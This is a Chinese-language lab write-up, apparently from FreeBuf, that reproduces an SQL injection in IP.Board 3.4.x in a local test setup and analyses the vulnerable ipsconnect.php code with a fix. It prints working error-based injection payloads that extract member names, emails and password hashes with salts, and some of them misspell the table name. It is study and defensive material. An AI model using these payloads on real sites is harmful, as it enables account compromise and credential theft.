之前在FREEBUF上看到一篇文章,题目是《IP.Board<=3.4.7 SQL注入漏洞(0day)POC》,对这个话题比较感兴趣,搭建了实验环境,进行了实验,便有了此文。
一、背景信息
首先先来简单介绍一下这个web程序的背景信息,以及关于这个漏洞的一些基本概况:
IPB论坛全称为Invision Power Board(缩写为IPB或IP.Board),是世界上最著名的论坛程序之一,由PHP+MySQL架构,1.X版本是免费的,从2.X开始收费。很多大单位都是其用户比如美国国家航空航天局和超微半导体公司(AMD)等等。
在这个系统中存在interface/ipsconnect/ipconnect.php页面没有正确处理id参数,导致网站会出现sql error。此漏洞会把错误信息写入/cache/sql_error_latest.cgi。通过与此文件的不断交互,可以获得敏感信息。网上已经出现针对此漏洞的PoC代码,该代码用python写成,链接为:http://seclists.org/fulldisclosure/2014/Nov/20
利用此代码时可能需要在源代码中对目标IP地址进行修改
可以在国内的网站上找到IP.Board的版本3.4.5,此版本满足存在漏洞的条件,我在WAMP环境中搭建了IP.Board的实验环境,安装过程中设置用户名为navyofficer,密码为navyofficer,邮箱为[email protected],并且系统中仅有此一个用户。
二、具体攻击过程
1、获得系统中用户的数量
攻击者发送如下的POST请求
act=login&idType=id&id[]=-1&id[]=-1)and 1!="'" and extractvalue(1,concat(0x3a,(SELECT COUNT(*) FROM members)))#'
用于获得系统中存在的用户数目。
随后访问sql_error_latest.cgi,系统返回如下的内容,在报错信息中获得系统中存在的用户数量
可知系统中存在一个用户。
2、获得用户的ID
攻击者发送如下的POST请求
act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and extractvalue(1,concat(0x3a,(SELECT member_id FROM mebers LIMIT 0,1)))#'
用于获得用户的ID
随后访问sql_error_latest.cgi,系统返回如下的内容,在报错信息中获得系统中存在的用户ID。
可知用户的ID为1
3、获得用户的名字
攻击者发送如下的POST请求
act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and extractvalue(1,concat(0x3a,(SELECT name FROM mebers LIMIT 0,1)))#'
用于获得用户的名字
随后访问sql_error_latest.cgi,系统返回如下的内容,在报错信息中获得系统中存在的用户的名字。
可知用户名为navyofficer
4、获得用户的邮箱
攻击者发送如下的POST请求
act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and extractvalue(1,concat(0x3a,(SELECT email FROM mebers LIMIT 0,1)))#
用来获得用户的邮箱
随后访问sql_error_latest.cgi,系统返回如下的内容,在报错信息中获得系统中存在的用户的邮箱。
可知用户的邮箱为[email protected]
5、获得用户的密码HASH
攻击者发送如下的POST请求
act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and extractvalue(1,concat(0x3a,(SUBSTRING((SELECT CONCAT(members_pass_hash, 0x3a, members_pass_salt) FROM members LIMIT 0,1), 1, 31)))#'
和
act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and extractvalue(1,concat(0x3a,(SUBSTRING((SELECT CONCAT(members_pass_hash, 0x3a, members_pass_salt) FROM members LIMIT 0,1), 32, 31)))#'
用来获得用户的密码HASH
随后访问sql_error_latest.cgi,系统返回如下的内容,在报错信息中获得系统中存在的用户的密码HASH
这一步分为两步进行,其实之前的步骤在获得敏感信息之前都会先判断结果的长度,如果大于31,则会分多步进行,比如在获得名字之前会先发送如下POST:
act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and extractvalue(1,concat(0x3a,(LENGTH((SELECT name FROM members LIMIT 0,1)))))#'
由于返回结果小于31,直接查询.
获得用户密码HASH的过程中,会先发送如下POST请求:
act=login&idType=id&id[]=-1&id[]=-1) and 1!="'" and extractvalue(1,concat(0x3a,(LENGTH((SELECT CONCAT(members_pass_hash, 0x3a, members_pass_salt) FROM members LIMIT 0,1)))))#'
返回结果表示,密码HASH的长度为38,大于31,因此得到敏感信息的过程分为了两步进行。
在返回的结果中需要将两次得到的结果连接起来。
三、攻击效果
运行攻击代码
可见攻击代码将系统中存在的用户数量,用户名称,用户邮箱,用户密码HASH都曝了出来。并且和上面对数据包的分析结果完全相同,由此可知攻击成功。
四、漏洞解析
首先粘出两个重要的代码片段,如下:
图1:
图2:
在interface/ipsconnect/ipconnect.php的第772行存在如下语句
call_user_func_array( array( $ipsConnect, $_REQUEST['act'] ), $params );
攻击发生时,$_REQUEST['act']从URL获得值,结果被赋值为login。此时与login方法对应的$params为
'login' => array( 'idType', 'id', 'password', 'key', 'redirect', 'redirectHash' )
这是一个数组参数,会被传递给[ipsConnect].login,随后此函数被调用。这个函数的的原型为
public function login( $identifier, $identifierValue, $md5Password, $key, $redirect, $redirectHash )
函数中有一句代码,在interface/ipsconnect/ipconnect.php的第100行,如下:
$member = IPSMember::load($identifierValue, 'none', $identifier );
id的值被传递给变量$identifierValue,可见此处对传进来的变量没有做类型检查。因此,存在漏洞。
我们将相应的语句进行加固,即添加intval()函数强制将$identifierValue变量转成整数类型。具体如下:
$member = IPSMember::load(intval($identifierValue), 'none', $identifier );
当再次运行攻击脚本时,会发现攻击脚本运行错误,无法继续利用此漏洞。
可知我们的修复时成功的。
五、修复建议
此漏洞被曝出的日期为2014年11月9日,第二天也就是11月10日,厂商Invision Power Services就给出了相应的补丁。用户可自行下载补丁进行补救。
六、总结
本文是对一个实验的详细讲解,通过搭建靶机环境,运行攻击脚本,分析攻击过程中产生的数据包,并对存在问题的WEB程序进行了分析,感觉亲手搭建环境并进行实验对于技术的成长是很有帮助的。
[本文由作者navyofficer撰写并投稿FreeBuf,版权属于作者 ]